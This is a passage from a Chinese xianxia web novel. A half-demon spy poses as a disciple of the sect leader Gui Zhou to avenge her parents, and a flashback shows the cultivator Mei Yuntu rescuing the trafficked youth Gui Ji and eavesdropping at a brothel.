归染定睛一看,尬住了。
归染:不?怎么都在啊?
“抱一丝……”归染话都没说清楚,转身就走。
取而代之的是归染“毅然决然”的背影。
归舟听见关门声,才将眼睛睁开,长舒一口气。
秋上尘在一旁看着不免觉得好笑,安静的跟在归舟身后进了偏房。
她突然想到了一件事:上次的夜行衣还藏在床底下!
尽管心中着急,但她现在的身份是伤员,不能掉以轻心,快走的这几步,也是伤员的样子。
就在归舟即将推开房门时,秋上尘恰到好处的拦住了他:“师尊,东西我就自己来收拾吧,毕竟……”
归舟稍作思考,随意这样进入闺阁女子房中,也确实不妥:“是我思虑不周了,你手脚不便,有事唤我便可。”
秋上尘行礼:“多谢师尊。”
归舟本不想再多说什么,但见她手脚不便还在行礼,只好说:“上尘,你现在手脚不便,这繁琐的礼仪就免了吧,等稍微好点时,再说。”
秋上尘听话的点了点头,缓慢地走进去屋子,又转身轻轻地将门关上。
神色如常、从容不迫,并不像心中有鬼之人,归染在窗旁观察了许久,并未发现什么。
自秋上尘来了这辰秋落后,归染无时无刻不在监视她,她心里总觉得秋上尘怪怪的,但是任她如何观察,都只能看见那副天真无邪的面孔,那双眼睛,干净、清澈,不带一点污浊。
这让归染每次都觉得,自己怀疑这样一个姑娘,有些……罪过。
今天是她自己给自己规定的,最后观察秋上尘一天,若今天平安无事,日后定诚心待她。
归染合上窗户,离开了窗前。
与此同时,秋上尘回头,看向了归染窗户的方向,心中冷笑,这人是目前辰秋落最有脑子的人,不过有脑子并不是一件好事,这可是会给自己带来杀身之祸的。
她找出藏于床下的夜行衣,抽出一缕妖力,掌心冒出熟悉的黑光,夜行衣瞬间化为飞灰,这种程度的妖力,不是化神期的人,还真察觉不到。
秋上尘本来就没有几样东西,无非是这几日辰秋落为她准备的衣裳,她叠了叠就装进包里了。
归舟见门开了,秋上尘背着一个很小的包走出来:“东西都齐了?”
秋上尘笑着说:“齐了,我本来也没多少东西在这。”
归舟“嗯”了一声,对着归染的屋子说:“师姐,走了。”
不等归染回应,两人就已经出现在了归舟的院子。
这还是秋上尘第一次进归舟的院子,忍不住打量了一番,在见到满地的蔬菜时,秋上尘面部轻微抽搐了一下。
这院子,还真是,别有一番风味啊!
“上尘,你暂时委屈一下,先住偏房吧!我会尽快命人在离此不远处,修一座你的院子。”归舟微微偏头,对着跟在他身后的秋上尘说。
秋上尘行礼:“怎会委屈?师尊为我做的够多了,万不可再劳烦师尊!”
虽然面上为表明自己的心意,心里却说:我要是搬走了,还怎么探查你?
归舟“嗯”了一声,说:“那你收拾收拾去歇息吧!”
秋上尘将礼数做全后,“艰难的”走到了偏房。
在关上门后,方才那副甜美、良善的样子荡然无存,她的眼中只有不尽的嫌弃。
回味着不久前在祠堂,她竟向着她的仇人磕头行礼!
此等羞辱,日后定是要讨回来的!
今天与归舟在祠堂的对话,令她的内心有了些许疑惑:这人,为何自相矛盾?既然杀人、又为何救人?难道真如他所说,他是真心想要做出改变?
算了,这些目前还不重要,她得尽快取得辰秋落所有人的信任。
次日清晨,秋上尘起得很早,毕竟昨天那种毫无防备的经历,她不想经历第二遍。
“上尘?起了吗?”门外响起了归舟不紧不慢的声音。
秋上尘上前开门:“弟子见过师尊。”
“嗯,跟我过来。”
秋上尘“一瘸一拐的”跟上他。
归舟好像还记得她腿脚不便,所以刻意走得很慢,可以让秋上尘用很舒服的速度跟着他。
秋上尘:算你有点良心!
归舟带着她走出院子,她这才发现,辰秋落是真的大,归舟的院子离门派主殿很远,在这里可以俯瞰到整个辰秋落。
美,辰秋落确实美!
中原四大门派,名不虚传!
归舟见她盯着山下出神,以为她是想念山下的生活,经过了一番思考才开口:“上尘,如果实在想念山下生活,等你腿好了,为师立刻送你下山。”
秋上尘匆忙回头:“师尊,我错了,别赶我下山。”
秋上尘:呕呕呕
归舟:???不是想家吗?
他尴尬的咳了一声,说:“为师以为你是想念山下生活了。”
秋上尘低下头,用有些委屈的声音说:“师尊,我没有家了。”
归舟闻言,一时噎住了,这可咋整?他不会啊!
“上尘,你父母怎么了?”归舟不知为何自己要这么问,说完他自己都感觉不是个人。
秋上尘压住内心的熊熊烈火:我父母怎么了?他们怎么了你还有脸问?
“我父母,死在妖族手里。”秋上尘回答。
秋上尘突然想到一点,让妖王与辰秋落的矛盾激化,以此借力打力。
既然妖王利用自己来对付辰秋落,她何不利用辰秋落来对付妖王,自己做这渔翁?
不能什么好事都让封浊占了去!
归舟见她神色悲伤,知道自己又说错话了,索性打算不说话了。
只“嗯”了一声,就带着她走向了院子后面。
秋上尘见归舟只“嗯”了一声,怒火又上来了:我父母死在你手里,你就“嗯”一声?
她见归舟走远了,又赶紧追了上去。
现在的她,除了“忍气吞声”还能干什么?
既然是做戏,那做戏就要做全套,等她“一瘸一拐”追上归舟的时候,她看见了辰秋落的后山。
不过这后山,为何看着给人一种很难受的感觉?
“这是你要学习的功法。”归舟递给她一本书。
秋上尘以为这就是归染所说的那个修复经脉的独门秘法,欣喜地接过来,结果一看封面《凝气要注》!
秋上尘:???
“师尊?”秋上尘奇怪道。
归舟笑了一下,这是秋上尘第一次见归舟毫无掩饰的笑,她只觉得,这人笑起来,比平时板着脸好看,这笑容衬得他,好像有了些许生气。
不知为何,在墨竹林见到归舟之后,她总觉得归舟身上有一种淡淡的...死感?
他好像被什么东西压着,很沉重,让她不怎么舒服。
奇怪,自己怎么会有这种想法?不应该是想着要怎么杀他吗?
“上尘,你不凝气,如何学习更深奥的法术?将来如何自保?”归舟带着笑意看她。
秋上尘:......我什么时候说我要学习更深奥的法术了?
“啊?”
归舟:“方才听你说,你父母死于妖族手中,你一个女子,将来治好了腿想要下山,若是再次遇到妖族,运气可能就没有这次这么好了,多少得会些法术吧?你既拜我为师,那我便要传授你有用的东西。”
秋上尘:这还是为我着想?
“师尊恩情,上尘无以为报,待日后学成,定为师尊解忧。”秋上尘一副对归舟救命之恩无以为报,只能以命相抵的表情,把归舟看的尴尬。
为了缓解尴尬,归舟说:“上尘,你看好了,我给你师范一下,你在结合书上所写修习,不会的问我。”
说完,他就开始演示。
秋上尘突然觉得,有这么个便宜师傅也挺好的,至少比封浊那个“师傅”好。
看完归舟为她演示如何吐纳天地灵气后,秋上尘感觉自己好像已经会了,这就是封浊所说的半妖之身吗?
在归舟的
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注视下,秋上尘生疏的开始结印。
不得不说,这修仙和修魔确实不一样,一个顺用天地灵气、一个逆用,果真是天生的对家。
时间过得很快,就在秋上尘失败了第五次的时候,她忽然看见自己的掌心好像有了一点光亮。
不是黑色的、是白色的。
归舟看见她掌心一闪而过的白光,惊了一瞬:上尘,竟有如此天赋?
果然,第六次,秋上尘成功了。
半日内到了凝气一层,这是前无古人啊!
就连归舟,当年也是足足用了七日,才成功的。
他上前捏住了秋上尘的手腕,探了许久。
见到归舟面色凝重的捏着自己的手腕,就在秋上尘以为自己妖力要藏不住的时候,归舟的眼中闪过了一丝光亮。
没想到,自己随便收了个徒弟,这天资竟如此卓越!若是不好好培养,还真是浪费了!
归舟松开了她的手腕,语气有些激动的说:“上尘,你根骨奇佳、天资卓越,是修习的好苗子!”
秋上尘从没见归舟像现在这样,她甚至没有见过归舟有过什么剧烈的情感波动,她“疑惑”的看着归舟。
归舟意识到了自己的失态:“抱歉上尘,是我有些激动了,辰秋落很久没见过这么有天赋的弟子了。”
归舟并不知道,中原其他三大名门,最有天赋的弟子,也是与自己一样用了七日。
像这样有天赋的弟子,全天下,仅此一个。
秋上尘看着归舟,她总觉得这个人,很奇怪,为什么能天真成这样?弟子有天赋这种事情,怎么能和本人说呢?就不担心会取你而代之吗?
“师尊?我很有天赋?”秋上尘一脸不可思议。
“嗯”归舟眼中是压制不住的激动,这样的天资他也是第一次见。
看见归舟眼中的激动,秋上尘内心冷笑,该不会是看见我如此有天赋,想让我留在辰秋落为你们效力吧?
“上尘,腿好之后,考不考虑留下了?”归舟询问的声音传进耳中。
果然如此,秋上尘在心里冷“哼”一声,这人与门派还真是如出一辙,她想看看归舟到底要干什么。
“师尊这是要强留我吗?”
归舟摇了摇头:“上尘,留与不留是你的选择,我不会强求,今日再问你,是因为你有能突破化神的天赋,是最有可能问鼎仙界之人,若你离开门派可能会浪费了自己的好资质。”
秋上尘不太相信他的话,归舟这样一说,到还是为了自己着想?
“师尊,未来事,谁也不知道,现在,我只想治好我的腿。”秋上尘并没有直接回答他的问题。
归舟惋惜的看了她一眼:“好,此事以后再议。”
秋上尘看见了归舟有些失落的模样,不知道为何,她居然觉得很爽,好像看见归舟不好受,她就很...享受?
秋上尘并不认为归舟是真心想让自己问鼎仙界,毕竟一个杀手底蕴如此深厚的门派,她不信会有好人。
眼看一天就要过去了,秋上尘一直在思考各种事情,一会儿思考以后在辰秋落的处境,以及这几天她对这里的诸多疑惑,一会儿又想封浊那边应该怎么交代,根本做不到心无杂念,修为也就止步于凝气一层。
归舟本以为像她这样颇具天资的弟子,一日之内还能更进一步,他在不远处打坐结束后,一看,秋上尘的修为,一点没涨。
他走上前,发现秋上尘的注意力根本没在这。
好了,这下问题找到了,没好好练。
“上尘,修炼不能三心二意。”归舟没有很严厉的批评她,毕竟他一向没什么过多的情感流露。
秋上尘回过神来,这才发现已经很晚了。
“我知道了师尊,下次不会了。”
“师尊,门派一共有过几位掌门啊?”秋上尘突然开口问道。
这件事,她是真好奇。
归舟愣了一下,随后回答:“我也不知。”
秋上尘:???你确定你是这的掌门?
归舟:“前些年,宗门祠堂并不对外开放,拜师也不在那,只有犯了错的弟子会去那受罚,我从未犯过错,没怎么去过。”
“哦,这样啊。”秋上尘多少有点不甘心,一番话,什么也没问出来。
“你要是真好奇,应该去问你的归寂师叔,他是我们师兄弟中受罚最多的,不过他尚在闭关修炼。”
哦?归寂?师叔?
新名字!
应该就是那个最神秘的长老。
秋上尘很有成就感,这个回答,显然比她之前问题的答案还要有价值。
她还想再知道点什么:“师尊,先掌门是如何去的?”
13. 往事
果然,这件事好像是个禁忌,归舟的脸色变了变。
“上尘,这件事,以后再说,先下去休息吧!”归舟避开了这个话题。
哼,有鬼!
秋上尘觉得先掌门的死,一定不是意外,她得想办法知道真相,而且看样子,归舟好像很在乎这位先掌门。
秋上尘忙行礼:“师尊,是弟子失言了。”
归舟摇了摇头:“跟上来吧。”
“师尊,去哪?”秋上尘问道。
“上尘,你还没到辟谷期,得吃饭。”归舟回头看着她。
坏了,怎么把这事给忘了!
秋上尘笑着说:“师尊,我听昨天那位师兄说,派中上下皆为结丹期弟子,既然都已过了辟谷期,还有谁会做饭啊?”
归舟闻言露出了一丝窘迫:“上尘,你在我院子里可见到了那些蔬菜?”
“嗯,师尊,我见到了。”秋上尘老老实实回答。
归舟:“我会做,一点点。”
秋上尘:!!!他竟然还会做饭!
秋上尘心里表示不信。
下一秒...
“师尊好厉害,不过弟子不该劳烦师尊,我自己来就行。”
就在这有一句没一句的对话中,两人走到了院门口。
归舟挥手打开了院门,原本漆黑的院子,逐渐亮起灯光,一盏接着一盏。
这些灯,将方才还漆黑的院子照的明亮,即使山顶的气温依旧有凉意,但此刻院中,却有了些许温馨的气息。
这样的情景,让秋上尘有一瞬间恍惚了。
她仿佛又回到了两年前,那座无名城池,在一个普通的小院子里,那个只有欢声笑语的院子。
每到晚上,母亲也会点亮院中所有的灯盏,只是因为自己儿时的那一句怕黑。
每逢佳节,母亲都会变着花样做很多好看的花灯,街坊邻居也会挂灯,城中尽是一片热闹、繁华。
这种生活,自打她记事起,就一直持续,那时候的她,本以为一辈子都会是这样。
鼻子微微有些酸涩,即使到现在,她还是会怀念那时的生活,就算那个怕黑的小女孩早就已经在两年前消失了,但在她内心的最深处,却还保留着最珍贵的记忆。
现在的她,再也不会怕黑,两年的时间虽短,但足以改变一个人的所有。
封浊对他们的训练,比黑暗更可怕。
可她原本,并不用受这样的伤痛,是辰秋落,将她变成现在这样!
想到这,她的怒气又了燃起来。
阴狠凌厉的眼神直勾勾的看着归舟的背影,仿佛要将他盯出一个窟窿。
辰秋落,必须血债血偿!
归舟走进院子,蹲下查看他的蔬菜,等了很久,也没有听到身后有声音,于是转头看着在院门口发呆的秋上尘说:“上尘?你想吃什么?”
秋上尘赶紧眨了眨眼睛,让自己恢复那副单纯善良的模样,笑着回答:“师尊,有什么菜呀?”
“白菜、萝卜、菠菜......”
秋上尘没想到这小院子里还挺能种东西的,竟然有这么多,不过她已经很久没吃过东西了。
自从去了魔宫,她就没再吃过东西,因为她修习妖力的速度也很快,根本用不上吃饭。
于是随口说道:“那就,萝卜吧!”
“好”
秋上尘随意的坐在院中的一块小时头上,静静地看着归舟从土里拔出带土的萝卜,然后拿去井边舀水清洗。
她很奇怪,这人明明有法力,却不用,事事亲力亲为,秋上尘不能理解。
归舟把拔出来的几个萝卜,拿到偏房对面的厨房中切片,刀锋落在案板上的声音很有节奏,让秋上尘的心脏也跟着跳动起来。
母亲当年也是这般做饭的,母亲做的饭是什么味道来着?
秋上尘不记得了,她只觉得应该很好吃,母亲是这世上对自己最好的人,可是今后,不会再遇到第二个对她这般好的人了。
“吃吧。”
归舟的声音把她的思绪拉了回来,秋上尘抬起微红的眼眶看着他。
归舟在灯光的映照下看见了她眼中的晶莹,轻声询问:“怎么了?”
秋上尘吸了吸鼻子说:“没事,只是很多年没吃过母亲做的饭了。”
她的话,虽然半真半假,却是真情的流露。
归舟的心也跟着难受了一下,他说:“来尝尝,像不像。”
说完,递给秋上尘一副筷子,那副筷子很好看。
秋上尘也没想到,一副筷子也能有这样的花纹,想来一定价值不菲。
辰秋落干的那些勾当的钱财不会都用在这里了吧?
这样想着,她突然就觉得很恶心,就连吃在嘴里的饭菜,也失去了原本的味道。
见到秋上尘皱起了眉头,归舟默默在心里叹了一口气,哎,确实很多年没下过厨了,生疏了。
“不好吃,就不吃了,不必强求。”
归舟本来的意思是,不好吃就别硬吃了,怪难受的。
这话在秋上尘耳朵里却是:你爱吃不吃,给你做饭还嫌弃!
她忙说:“没有师尊,好吃的,只不过,不像母亲做的味道,心中酸涩罢了。”
归舟听后也没再说什么,毕竟他也很久没吃过师尊做的东西了。
院子安静很久,两人都没再说话,一个假装专心吃饭,一个假装专心赏月。
......
归夜敲了敲归染的院门,门又是被一阵灵力打开的。
归夜走进去,看见了不远处坐在秋千上的归染:“她有问题吗?”
归染笑着说:“谁?”
归夜冷笑一声:“别装傻。”
“哦,那说不上来。”
很平静的回答。
归夜:“我查了她,修真界查不到她,魔宫目前也没有她的消息,应该是普通人。”
“她给我的感觉,很怪。”归染皱着眉头。
归夜警觉的问:“哪里怪?”
这回是归染冷笑一声:“师兄,我不是说了吗,我说不上来。”
“但是我已经观察她很久了,她并没有做出什么危害辰秋落的事情,我觉得暂时可以信任。”
归夜点了点头说:“嗯,别掉以轻心,上次的教训要记住,归舟涉世未深,向来没什么戒心,又天生一副菩萨心肠,天天当赖好人,还不长记性,被骗了多少次...”
眼看着归夜吐槽起来没完没了,归染立刻悬崖勒马:“那个师兄,前几日山下村庄受袭的村民安置的如何了?”
“放心,都好。”
“既然你盯着她这么长时间了,咱俩换换角色,换我盯着,好让她也放松一下警惕,看看她真的有没有问题。”归夜带着一丝笑意看着归染。
归染从秋千上站起来,抬头看他,她第一次觉得师兄不像先前那个师兄了。
归染摇头:“师兄,你有没有想过,万一她真的不是...”
“那我只是盯着她,也不会对她有什么实质性的伤害,不是吗?”归夜反问。
“门派经不起第二次背叛,归舟单纯,我们就不能再单纯,虽然师尊临走时将门派交于他,但是这终究是我们的家,我们也要护住我们的家。”
“嗯”归染觉得这话有道理。
“小师弟如何了?”归染问。
归夜说:“应该还在闭关,当年他参加完师尊的‘焚天仪’就去了,算算日子也该出来了。”
归染有些担忧:“不会出什么事吧?他下山历练的那几年,受了不少罪,那心魔会不会干扰他?”
归夜转身,抬头看着天上那一轮将满的明月说:“师妹,我相信师尊看人的眼光,小师弟不是废物。”
“没有经历过风雨的树苗,永远是长不大的。你忘了师尊教的吗?”
归染点了点头:“小师弟,确实成长了不少,话说,这梅姑娘,怎么两年都不来看看小师弟啊~”
归夜翻了个白眼:“师妹,正经点,早些休息吧。”
“我还等着吃喜...喂!我还没说完!”归染气急败坏的看着空无一人的院门口,又默默回到了秋千上坐下。
抬头望月,这一刻,归染懂了,原来月亮真的可以寄托心绪。
这份愁思,也只有他们五人知道。
......
两年前,解灵宗。
“我解灵宗何时出过你们这样的叛徒?”
一个男声在空旷的大殿中响起,只是这声音听上去却无比虚弱。
“师尊,事到如今,你还不明白吗?这位置该换人了!”
话音未落,一道剑气直冲向男人的面门。
“叮”的一声,是武器格挡的声音。
剑气随之被化解,灵力的碰撞扬起了殿中的灰尘。
出现在三人面前的是一道紫色的身影。
男人艰难的抬头望去,来人手持双剑,是那种极细的细身剑。其中一把剑的剑身泛着幽幽寒光,刃口环绕着凌冽的寒霜之气,另一把剑的剑身则燃着烈火,剑柄处呈现暗红色的花纹。
“寒潇、焱炽!”
虽未看清来人,但是知晓了武器,便知道了来人的身份。
两人相视一笑,其中一人看着不远处来人说:“梅师姐,你失踪了这许多日,师弟真是好想你啊!”
来人正是梅韵荼,她闻言不怒反笑
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,看着两人说:“两位师弟?戏演多了,可就不真了。”
“那正好,今天我们也没打算演。”
两人一齐朝着梅韵荼砍来,梅韵荼侧身躲过一人的攻势,又用寒潇挡住了另一人的剑,顺势将焱炽挥出一道带火的剑气,将两人又逼退至大殿门口。
然后她将两剑剑柄贴合,双剑合一,以剑为阵,剑出法随,万箭齐发!
刚才还占尽上风的两人,如今被滔天的剑气压制的毫无反击之力。
本应该斩草除根的她此刻却收手了,两人感觉到灵力威压消失了,赶紧站起身,紧张的望着这边。
梅韵荼看着他们这样,忍不住笑了:“两位,当初暗害我的时候,怎么没想过有今天?”
那两人自知理亏,没有狡辩。
他们二人早就想将掌门之位取而代之,曾多次有意拉拢梅韵荼,但是梅韵荼却不为所动,这一举动,自然就成了他们路上最大的绊脚石,于是二人开始想方设法的除掉她!
在她处理宗门事物时,沿途布下陷阱;在她外出历练时派人刺杀;在她院中的井水中下毒......
类似于这样的事情干的太多了,梅韵荼一开始并未在意,因为她过于自信了。
她是解灵宗这一代天赋最高的弟子,一心从来只在修炼上,就这样成为了解灵宗历史上第一位十五年到达半步化神的人!
就是因为梅韵荼太强了,强到无人能及、一骑绝尘,所以她一开始认为,暗算根本伤不到自己,直到她突然发觉自己的修为开始一点点消散。
一次外出任务时,梅韵荼觉出不对劲,却为时已晚,修为快速跌落的反噬,使她重伤。
那两人一直暗中跟随,见状,便合伙将她逼至绝境,她拼死一搏,杀了出去,尽管那两人也没捞到什么好处,但是自己的修为也跌落至结丹期。
梅韵荼怕那两人继续派人刺杀,以自己现在的能力,断然不可能全身而退,只能逃往中原之外。
到了域外一看,她庆幸带了自己的“小金库”,这出门在外没有钱可真不行,不然就会像那天捡到的那个“小孩”一样,被虐待成那样。
啧啧啧...
刚到域外的梅韵荼“斥巨资”买了一处宅院,在院中设下层层结界后,开始闭关,一直到了半年之后,她才堪堪恢复到了元婴初期。
这药着实厉害啊!
本想着刚出关出去转转,还没等逛很长时间,她就不想逛了,于是找到一个角落坐下,来感受一下当地的“风土人情”。
修者的五感要强于常人,她听见不远处的巷子里有人在跑动,那脚步声很沉重,像是在——逃命!
由于自己刚刚经历劫后余生,她对于这种逃命的人很同情,出于好奇,她打算一睹究竟。
但是还没等她出发,那声音就戛然而止了。
她赶紧过去,从巷子的半截开始,出现了一串带血的脚印。
在巷子的尽头,她看见一个少年正靠着墙缓缓滑落,他身上的衣服全是灰尘,露出来的脚没有穿鞋,其中一只还在出血。
梅韵荼蹲下,那少年显然已经失去意识了,她轻轻用手掀开少年凌乱的头发,随后眼睛亮了。
虽然这个少年浑身脏兮兮的,但是长得很好看,就算没有意识,也能看得出来是个美人!
梅韵荼拿出一缕神识探入少年的识海,这一探还发现这少年是个修士,虽然修为……很烂,但是天赋不错!
手轻抚上少年的额头,一片滚烫。
没有再想其他的事情,梅韵荼双手一抄就将少年轻松的横抱起来,念了个法决后,她又回到了自己的宅子里。
把那少年平放在床上后,她抓住了少年纤细的手腕,上面尽是伤痕,很难想象,这少年受了多少罪!
看见这些伤痕之后,梅韵荼的动作更轻了,她只有两指搭在少年的脉上,生怕弄疼了他。
只是这一搭,她就发现了不对劲,这少年中了药!
梅韵荼看这少年在昏睡中的面颊都红的不像样子,知道他现在一定很难受,她有些心疼的将手贴在他脸上。
或许是觉得梅韵荼的手是现在唯一可以宣泄热意的地方,少年无意识地将脸贴紧了她的手,时不时地还蹭蹭。
这一幕看得梅韵荼心里痒痒的,她也更喜欢这个少年了。
这少年看着十六七的样子,大概比自己小了六七岁,这个年纪的“小孩”,最好逗了!
看少年身上大伤小伤都不少,有些还没结痂,现在又中了药,梅韵荼再三决策,还是决定用灵力帮他一下。
过了两三日,这少年才开始有些要醒的迹象。
这小孩,该有多长时间没好好休息过了啊?
14. 误会
”水...水......”
梅韵荼听见少年唇边发出了一丝微弱的声音,由于声音太小,她没听清说的什么,就将耳朵凑近了些。
在听清之后,她赶紧将人扶起来靠在自己身上,拿起杯子小心翼翼地给他喂水。
等喝完了水,这少年好像又睡过去了,梅韵荼感觉少年身上很凉,索性就抱着他了。
反正天色也不早了,抱着睡一晚又能如何?而且这样一看,好像也是自己占人家便宜吧?
次日清晨,梅韵荼还没睡醒,就感觉身上有什么东西动了动,然后就是一阵剧烈的咳嗽声。
她睁开眼时,正好看见那少年也把眼睛睁开了。
少年显然还有些不太清醒,她将少年轻轻扶起来又喂了杯水。
看着那少年的眼瞳渐渐聚焦,在看清眼前人的瞬间,瞳孔放大。
然后“腾”一下,就从她身上起来了。
少年脸红的不像样子,低着头还在给自己解释,梅韵荼见状实在忍不住,笑了:“好了,本来就是我救得你。”
在梅韵荼眼中,这少年着实可爱,与自己门派中那些给自己下毒,坏透了的弟子不同,他...很好,至少看着本性不坏。
看这小孩还会学着大人的样子跟自己道谢,梅韵荼见到很好笑,不过下一秒,这少年的话,让梅韵荼警惕了一下。
“姑娘也是修士,应该还是一位很强大的修士,以我的修为看不透你,只是这天下的散修,据我所知,还没有人能够修炼得像姑娘这般厉害,如果是邪修,想必不会救我,若姑娘是名门正派,那又为何会在此处?”
还不是个傻小孩,梅韵荼很满意。
但是以她现在的处境,还是不要告诉这小孩自己的真实身份了。
这少年修为这般差,可经不起解灵宗那些人的迫害,自己好不容易看上一个人,不能出事!
或许是因为不好意思,等梅韵荼简单浅显的介绍完自己后,那少年老老实实的报出了自己的身份,中原四大名门之一:辰秋落,归寂。
啧,归寂,这名字,为什么感觉寓意不是很好啊?
究竟有什么仇恨,要将名字取成这个字?
梅韵荼带着疑惑看向归寂,但是看向他的脸上却没有什么表情,眉头微皱。
归寂感觉这人一直在看自己,他没忍住打了个寒颤。
梅韵荼见到少年这般,才发觉,可能是自己刚才的神态吓到这个小孩了,无奈之下,只好解释了一番,归寂才慢慢放松下来。
“梅姐姐,你能救我,我已经很感激了,就不多叨扰了。”
说完,归寂下床就要溜。
“你可知道这是哪?或者你知道自己要去哪?”梅韵荼笑着看着他。
归寂闻言顿住了,他确实不知道这是哪,也确实不知道自己应该怎么回去。
他转过身看着梅韵荼,尴尬的说:“姐姐,这是哪啊?”
“我也不知道哦~”梅韵荼想逗他一下。
归寂:???
看着归寂的表情,梅韵荼有种欺负了良家少女的感觉。
“不逗你了,这是域外,距离中原嘛...”
归寂听完后,只觉得天又塌了,怎么比之前更远了?
然后他脑中突然蹦出来一件很重要的事情:卖身契!那老鸨说自己有个卖身契!
“梅姐姐,你还记得我那日倒在哪条巷子里吗?”归寂感觉这人虽然不坏,但是什么都不说,也不是百分之百值得信任的人,所以他带点试探性。
梅韵荼想了一下:“大概还记得,怎么了?”
归寂低头说:“我是被人卖到花楼里面的,那日是那老鸨逼我接客,才逃走的,但是听她说,我还有个卖身契在她那,所以姐姐,你能不能...”
梅韵荼听后瞪大了眼睛,对着归寂上看下看、左看右看,她不相信,自己好不容易看上的白菜已经被猪拱过了!
“你,你已经,被,被...”梅韵荼有些难以启齿的问出断断续续的一句话。
归寂一看她的表情,就知道这人想歪了,他赶紧解释:“不是的姐姐,我,我没有!我身上这些伤疤就是因为不从,才...”
梅韵荼在长舒一口气后,又瞬间脑补出来一副柔弱少年,被强制逼迫的场景,顿时对他的怜悯心大增:“归寂,我可以带你去拿回你的卖身契,但是有个条件。”
“姐姐请说,但凡我能做到,一定帮忙。”归寂觉得,别人帮自己,自己还人情是天经地义的事情,很爽快的就答应了。
梅韵荼想了想说:“要你做的事,我还没想好,这样你先欠着吧!条件就是,如果遇到你的熟人,我的身份暂时还不能对外说。”
归寂有点无语,为什么条件和做的事还是两个东西啊!不过他也没多说什么,毕竟谁叫人家救了自己呢?
“闭眼”
归寂突然听见一句话,但是他没听清楚:“啊?”
“啊什么啊,小孩,出去我不换衣服的吗?”梅韵荼觉得逗小孩很有意思。
归寂感觉自己的脸红的发烫,当即就背过身去,就连眼睛都闭上了,嘴里还在碎碎念叨:“我没看,我不看,看不见...”
梅韵荼听后,笑着摇了摇头,现在,像这样单纯的小孩,可不多了!
“好了,过来吧”
这回归寂听清楚了,赶紧回身,朝着梅韵荼走过去。
梅韵荼在他的眉心点了一下,归寂感觉有什么东西钻进去了,他紧张道:“姐姐,这是什么?”
归寂是真害怕,如果这人是中原四大名门之一,五毒门的人,那么她刚才给自己下的不是毒就是蛊!日后若再想离开,难如登天!
梅韵荼听着他有些发抖的声音,知道他又多心了,但是在这一刻,她觉得逗小孩简直太好玩了。
于是说:“归寂,这是蛊,给你种下后,你的一言一行都在我的掌控之中,若有违抗,必死无疑!”
“真,真...真的?”归寂惊恐的看着梅韵荼,他现在觉得这女人真吓人!
“假的,专门骗小孩的。”梅韵荼笑了一下:“是给了你一道护体灵障,免得你灵力低微,再遭了暗算。”
归寂感觉了一下,好像确实没啥问题,这才放下心来,小声说了句:“谢谢姐姐。”
梅韵荼从刚才和归寂的对话中,就一直感觉怪怪的,现在她终于意识到哪里不对:这孩子为何戒心这般重?
这戒心,分明不可能是一天两天练出来的,即使受到了长期的折磨,也不该如此,除非从小接受训练...
辰秋落,究竟是个什么样的门派?
“走吧,姐姐带你去拿回你的东西。”
归寂虽然早就知道梅韵荼会带自己拿回卖身契,但是这样一个陌生女子,为何对自己这么好?不嫌自己脏把自己带回家,给自己治伤,现在还...
“姐姐,你真的要带我去吗?”归寂感觉自己良心过不去,他又问了一遍。
“怎么,不想去了?”
归寂摇了摇头:“不是的姐姐,能把我一个修士卖到花楼那种地方的人,一定也是修士,那花楼不简单,很危险的。”
梅韵荼看着归寂说:“小孩,你担心我啊?”
归寂低下头,小声“嗯”了一声。
梅韵荼看着归寂有点不好意思的模样,她笑了一下,这小孩还真是越来越有意思了。
……
梅韵荼领着归寂,将他带到了那日捡到他的地方,问:“那日我就是在这里救你回去的,你还有什么印象吗?”
归寂闭上眼睛,他得好好回忆一下,当时那药还挺厉害的,他只记得自己好像是从楼上跳下来了。
他睁开眼向二楼看去,看见了一扇熟悉的窗户——正是那日他将两人拍飞的地方。
“姐姐,二楼”归寂转头看向梅韵荼。
还没等归寂说完,他就感觉自己已经飞起来了。
梅韵荼一只手揽着归寂的腰,足尖轻点地,两人便如云朵般飘然而起。
突如其来的失重感让归寂下意识的闭上了眼睛。
直到耳边传来了一声:“睁眼。”
归寂才后知后觉的发现,他已经站在了那日的房间里。
梅韵荼的手臂环绕在他腰间,那力道不松不紧,恰到好处的起到支撑作用,却又不失自在。
但是近距离的接触,还是让归寂止不住的心跳加速,脸也迅速红了起来。
“害羞了?”
此话一出,把归寂吓了一跳,他赶紧别过头去说:“才没有,我,我就是恐高!”
梅韵荼一看归寂的反应,就知道他在撒谎,轻“哼”一声,说:“哦,不信。”
归寂尴尬的连忙转移话题:“姐姐,你看,这屋子里没人啊!”
梅韵荼一挑眉,嘴角微翘:“那你跟紧我,咱们出去看看。”
归寂听后,很听话的抓住了梅韵荼的衣袖。
感受到归寂的举动后,梅韵荼的身形微微停顿了一下,很快又恢复了正常,她没想到,这小孩居然这么主动!
将门推开了一条缝,梅韵荼的眼睛就睁大了。
她本以为,这个楼的外表虽然与其他花楼一样,都有些装饰物,却没有其他花楼那样具有吸引力,这样的想法一直坚持到现在,她看见了这个花楼的内景布置。
简直太奢华了!
归寂说的没错,这花楼,的确不简单。
就她现在这样
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一撇,就看见了大堂内的不少人都是修士,修为还都不低,大部分在结丹期。
这究竟是什么地方?
梅韵荼心里也冒出来了这个疑问。
忽然,她的衣袖被人拉动了,她转头一看,归寂正小心翼翼的拉着晃动,眼睛还不停的给她使眼色。
梅韵荼顺着他示意的方向看去,一个中年女子处在楼梯中央,与人交谈着什么,只是那人被东西挡住了,看不清楚。
这女子看上去略显苍老,眼角已经被岁月描上了几笔细腻的纹路,两鬓虽未全白,但也不似少女的青丝,倒像是蒙了一层薄薄的秋霜,即便是这样,也不难看出来,这人年轻时一定是个艳压群芳的美人!
“姐姐,就是她,那日只有她一人说有我的卖身契。”
梅韵荼看了那女子一会儿,嘴里念了个法决,转身对归寂说:“我们在屋里等就好了。”
归寂一脸懵:“什么?怎么就?”
梅韵荼缓缓的关上了门,走到塌上打坐,这才说:“归寂,小点声,我听不清她说什么了。”
归寂才知道,她那个法术是用来监听的。
梅韵荼已经开始专心的听那些人在聊什么了。
“......”
“你们把东西放这包放心的,绝对没问题。”是那个女人的声音。
“放心?上次那个修士,还不是你们给放跑的?他比现在这些都重要!你可知道他杀了谁?”这人的声音听不出男女,但是说出来的话,却让梅韵荼心中一惊:这孩子杀人了?
“大人,上次那是个意外...”
“意外?我看就是你想赚钱,那小子是长得不错,但也不是你能动的!”
“我知道,我知道了,大人,这次绝对不会。”梅韵荼的耳中传来那女人有些哀求的声音。
“姑且再信你一次!再有下次,你这楼也别想要了!”
“好嘞好嘞...”
